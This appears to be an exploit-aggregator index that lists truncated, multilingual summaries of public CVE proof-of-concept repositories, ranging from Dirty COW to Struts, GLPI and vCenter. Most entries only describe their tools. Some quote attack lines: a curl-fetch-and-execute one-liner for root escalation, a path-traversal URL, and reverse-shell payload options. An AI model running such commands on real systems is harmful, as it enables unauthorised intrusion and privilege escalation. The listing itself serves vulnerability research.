audit-axios

audit-axios Analisa repositórios locais em busca de versões vulneráveis do axios e aplica correções de forma interativa. Visa CVE-2026-40175 — Injeção de Cabeçalho CRLF que leva a Contrabando de Requisições e SSRF. CVSS 9.9, afeta todas as versões do axios 1.15.0. Início Rápido root@kitploit: npx...

CVE-2023-50164-PoC

CVE-2023-50164 Vulnerabilidade de path traversal para RCE no Apache Struts - Prova de Conceito Esta PoC foi criada para testar uma RCE Execução Remota de Código explorando a vulnerabilidade do Apache Struts2. Construa a imagem e execute um container: root@kitploit: $ DOCKERBUILDKIT=1 docker build...

CVE-2026-23744-Remote-Code-Execution-POC

CVE-2026-23744 - MCPJam inspector Remote-Code-Execution: Proof Of Concept POC O MCPJam inspector 3. Execute o exploit root@kitploit: python3 exploit.py...

CVE-2026-31431

Teste, corrija, conserte: CVE-2026-31431 root@kitploit: Teste:Verificar vulnerabilidade python3 -c 'import socket;exec"try:s=socket.socketsocket.AFALG,socket.SOCKSEQPACKET,0;s.bind"aead","authencesnhmacsha256,cbcaes";print"vulnerable"\nexcept:print"not vulnerable""' root@kitploit: verificar...

desc_race-1

descrace "descrace" CVE-2021-30955 exploit para iOS 15.0 - 15.1.1 com primitivas estáveis de leitura/escrita no kernel Método do Exploit 1. Aumente a capacidade do array de IOSurfaceClient para 0x2000, o objetivo é escrever um ponteiro cujo conteúdo seja totalmente controlado e depois usar as...

CVE-2025-24801

CVE-2025-24801 GLPI RCE के लिए PoC इस रिपॉजिटरी में एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट poc.py है जो CVE-2025-24801 का शोषण करती है, जो GLPI 10.0.17 में एक LFI-से-RCE भेद्यता है। यह स्वचालित करता है: GLPI में लॉगिन करना दस्तावेज़ प्रकार सेटिंग्स अपडेट करके .php अपलोड सक्षम करना AJAX फ़ाइल अपलोड...

copyFail-CVE-2026-31431-workaround-bash

copyFail-CVE-2026-31431-workaround-bash alguns usos: root@kitploit: user@host:$ python3 -c "$curl -s https://copy.fail/exp -o-" id uid=0root gid=1000user ctrl+d user@host:$ git clone https://github.com/someCorp/copyFail-CVE-2026-31431-workaround-bash user@host:$ sudo bash...

CVE-2016-5195

CVE-2016-5195 meu POC pessoal e EXPLOIT do CVE-2016-5195 dirty COW Uso POC: escrever arquivos arbitrariamente Apenas um simples POC dessa CVE, compile o arquivo poc.c da seguinte forma: root@kitploit: $ gcc poc.c -o poc -static -lpthread Você deve executá-lo da seguinte forma: root@kitploit: ./po...

CVE-2021-27328

Path Traversal auf Yeastar TG400 GSM Gateway - 91.3.0.3 Dies ist ein Proof of Concept für CVE-2021-27328 Beispiel zum Abrufen des Passworts zum Entschlüsseln der Firmware root@kitploit: http://192.168.43.246/cgi/WebCGI?1404=../../../../../../../../../../bin/firmwaredetect zum Abrufen von...

CVE-2024-21262

REGISTROS Apenas para reprodução de CVEs. Recursos relacionados: LINK GITHUB1 GITHUB2 ISSUE Verificar Ambientes Baixe o docker-24.0.6.tgz de https://download.docker.com/linux/static/stable/x8664/. root@kitploit: sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C...

CVE-2024-7313

استغلال ثغرة إضافة Shield Security CVE-2024-7313 نظرة عامة يحتوي هذا المستودع على سكربت Python PoC مصمم لاستغلال ثغرة XSS المنعكسة Reflected XSS في إضافة Shield Security لـ WordPress، والتي تؤثر على الإصدارات الأقدم من 20.0.6. تسمح هذه الثغرة CVE-2024-7313 للمهاجم بإنشاء رابط ضار مخصص للهدف، وعند...

CVE-2024-7593

Detecção de CVE-2024-7593 Como este método de detecção funciona? Este modelo corresponde às seguintes versões; se houver correspondência, o host é considerado vulnerável: root@kitploit: - "22.2" - "22.3" - "22.3R2" - "22.5R1" - "22.6R1" - "22.7R1" Para evitar a produção de falsos positivos, ele...

CVE-2026-39324

PoC de Exploração do CVE-2026-39324 Falha de descriptografia do Rack::Session::Cookie recorre à aceitação de cookies não criptografados | ---|--- Aviso| GHSA-33qg-7wpp-89cq Pacote| rack-session RubyGems Afetado| = 2.1.1 Corrigido| 2.1.2 Resumo Rack::Session::Cookie com secrets: deve aceitar apena...

pulse-exploit

pulsexploit Automatisiertes Skript für den Pulse Secure SSL VPN Exploit CVE-2019-11510 unter Verwendung von Hosts, die von der Shodan API abgerufen werden. Sie benötigen ein Shodan-Konto, um dieses Skript zu verwenden. Klicken Sie hier, wenn Sie kein Shodan-Konto haben. Installation 1...

CVE-2025-46817-PoC

Exploit de Estouro de Inteiro CVE-2025-46817 no Redis Uma implementação leve em C do exploit CVE-2025-46817 para a vulnerabilidade de estouro de inteiro no Redis. 🚀 Recursos Leve : Arquivo C único, sem dependências externas além do hiredis Rápido : Compilação nativa para máximo desempenho Saída...

CVE-2023-3460_FIX

CVE-20233460 Dieses Labor wurde zu Lernzwecken und zur Rechteausweitung erstellt. Um die Fähigkeit der Rechteausweitung zu üben, können Sie den folgenden Link lesen. https://viblo.asia/p/leo-thang-dac-quyen-trong-linux-linux-privilege-escalation-1-using-suid-bit-QpmlexgrZrd...

CVE-2026-31431

CVE-2026-31431 — "Copy Fail" Escalação de Privilégio Local no subsistema criptográfico algifaead do kernel Linux. Visão Geral CVE-2026-31431, apelidada de "Copy Fail", é um bug lógico no template criptográfico authencesn do kernel Linux algifaead. Ele permite que um usuário local sem privilégios...

CVE-2024-37084-Poc

CVE-2024-37084-Poc सेटअप , विश्लेषण , डेमो एक्सप्लॉइट और CVE-2024-37084 के बारे में poc उपयोग कैसे करें : root@kitploit: py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optiona...

CVE-2026-29781

Vulnerabilidade arquitetural no servidor Sliver C2 permite Weaponização Reverse-C2. Ao extrair credenciais de um implante capturado, um defensor pode weaponizar a relação C2 para acionar um Kill-Switch remoto de infraestrutura. Esta exploração visa uma falta sistêmica de validação de ponteiro nul...

vSphereyeeter

vsphereyeeter.sh é um script bash automatizado para explorar a vulnerabilidade CVE-2021-21972 no vSphere Client para servidores vCenter. Uma vez executado, basta fornecer o endereço IP do seu alvo vulnerável e você receberá um shell SSH. "O vSphere Client HTML5 contém uma vulnerabilidade de...